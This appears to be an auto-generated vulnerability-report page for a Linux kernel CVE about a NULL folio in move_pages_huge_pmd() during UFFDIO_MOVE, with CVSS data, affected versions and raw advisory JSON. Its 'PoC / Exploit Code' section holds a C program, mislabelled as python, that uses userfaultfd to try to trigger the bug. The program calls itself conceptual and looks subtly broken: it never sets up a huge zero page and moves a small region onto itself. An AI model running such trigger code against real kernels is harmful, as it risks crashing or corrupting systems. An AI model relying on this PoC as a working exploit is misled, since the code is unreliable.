Security Vulnerability Report
中文
CVE-2026-31397 CVSS 7.8 HIGH

CVE-2026-31397

Published: 2026-04-03 16:16:38
Last Modified: 2026-05-20 13:06:36
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: mm/huge_memory: fix use of NULL folio in move_pages_huge_pmd() move_pages_huge_pmd() handles UFFDIO_MOVE for both normal THPs and huge zero pages. For the huge zero page path, src_folio is explicitly set to NULL, and is used as a sentinel to skip folio operations like lock and rmap. In the huge zero page branch, src_folio is NULL, so folio_mk_pmd(NULL, pgprot) passes NULL through folio_pfn() and page_to_pfn(). With SPARSEMEM_VMEMMAP this silently produces a bogus PFN, installing a PMD pointing to non-existent physical memory. On other memory models it is a NULL dereference. Use page_folio(src_page) to obtain the valid huge zero folio from the page, which was obtained from pmd_page() and remains valid throughout. After commit d82d09e48219 ("mm/huge_memory: mark PMD mappings of the huge zero folio special"), moved huge zero PMDs must remain special so vm_normal_page_pmd() continues to treat them as special mappings. move_pages_huge_pmd() currently reconstructs the destination PMD in the huge zero page branch, which drops PMD state such as pmd_special() on architectures with CONFIG_ARCH_HAS_PTE_SPECIAL. As a result, vm_normal_page_pmd() can treat the moved huge zero PMD as a normal page and corrupt its refcount. Instead of reconstructing the PMD from the folio, derive the destination entry from src_pmdval after pmdp_huge_clear_flush(), then handle the PMD metadata the same way move_huge_pmd() does for moved entries by marking it soft-dirty and clearing uffd-wp.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:* - VULNERABLE
Linux Kernel (包含漏洞的稳定版本,需参考Git提交e3133d0986dc等修复)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-31397 (Conceptual) * This code demonstrates the setup to trigger move_pages_huge_pmd() * with a huge zero page scenario. * Compile: gcc -o poc_cve2026_31397 poc_cve2026_31397.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/mman.h> #include <sys/syscall.h> #include <linux/userfaultfd.h> #include <fcntl.h> #include <errno.h> // Setup userfaultfd to monitor a memory region int setup_uffd(void *addr, size_t len) { struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; long uffd; uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) { perror("userfaultfd"); return -1; } uffdio_api.api = UFFD_API; uffdio_api.features = UFFD_FEATURE_MOVE; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) { perror("ioctl(UFFDIO_API)"); return -1; } uffdio_register.range.start = (unsigned long)addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_MOVE; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) { perror("ioctl(UFFDIO_REGISTER)"); return -1; } return uffd; } int main() { void *addr; size_t len = 2 * 1024 * 1024; // 2MB to encourage THP int uffd; // Allocate memory using mmap with MAP_HUGETLB to try for huge pages // Or rely on transparent huge pages (THP) normal allocation addr = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0); if (addr == MAP_FAILED) { // Fallback to normal allocation if huge page fails, THP might promote it addr = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) { perror("mmap"); exit(EXIT_FAILURE); } } printf("Memory allocated at %p\n", addr); // Register with userfaultfd uffd = setup_uffd(addr, len); if (uffd < 0) { munmap(addr, len); exit(EXIT_FAILURE); } printf("Userfaultfd registered. Triggering UFFDIO_MOVE on potential zero page...\n"); struct uffdio_move uffdio_move; uffdio_move.src = (unsigned long)addr; uffdio_move.dst = (unsigned long)addr; // Moving to itself or target to trigger logic uffdio_move.len = 4096; // Move a page uffdio_move.mode = 0; // This ioctl attempts to move the page. // If the page is a huge zero page, the kernel bug in move_pages_huge_pmd is triggered. if (ioctl(uffd, UFFDIO_MOVE, &uffdio_move) == -1) { // Expected to fail or crash kernel depending on state perror("ioctl(UFFDIO_MOVE)"); } close(uffd); munmap(addr, len); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31397", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-03T16:16:38.093", "lastModified": "2026-05-20T13:06:35.743", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/huge_memory: fix use of NULL folio in move_pages_huge_pmd()\n\nmove_pages_huge_pmd() handles UFFDIO_MOVE for both normal THPs and huge\nzero pages. For the huge zero page path, src_folio is explicitly set to\nNULL, and is used as a sentinel to skip folio operations like lock and\nrmap.\n\nIn the huge zero page branch, src_folio is NULL, so folio_mk_pmd(NULL,\npgprot) passes NULL through folio_pfn() and page_to_pfn(). With\nSPARSEMEM_VMEMMAP this silently produces a bogus PFN, installing a PMD\npointing to non-existent physical memory. On other memory models it is a\nNULL dereference.\n\nUse page_folio(src_page) to obtain the valid huge zero folio from the\npage, which was obtained from pmd_page() and remains valid throughout.\n\nAfter commit d82d09e48219 (\"mm/huge_memory: mark PMD mappings of the huge\nzero folio special\"), moved huge zero PMDs must remain special so\nvm_normal_page_pmd() continues to treat them as special mappings.\n\nmove_pages_huge_pmd() currently reconstructs the destination PMD in the\nhuge zero page branch, which drops PMD state such as pmd_special() on\narchitectures with CONFIG_ARCH_HAS_PTE_SPECIAL. As a result,\nvm_normal_page_pmd() can treat the moved huge zero PMD as a normal page\nand corrupt its refcount.\n\nInstead of reconstructing the PMD from the folio, derive the destination\nentry from src_pmdval after pmdp_huge_clear_flush(), then handle the PMD\nmetadata the same way move_huge_pmd() does for moved entries by marking it\nsoft-dirty and clearing uffd-wp."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16", "versionEndExcluding": "6.18.20", "matchCriteriaId": "1C570CE1-BC61-4BE6-9393-FD0CA8637367"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.10", "matchCriteriaId": "96D34333-38BE-4414-9E79-6EB764329581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/e3133d0986dc5a231d5419167dbac65312b28b41", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f3caaee0f9e489fd2282d4ce45791dc8aed2da62", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fae654083bfa409bb2244f390232e2be47f05bfc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}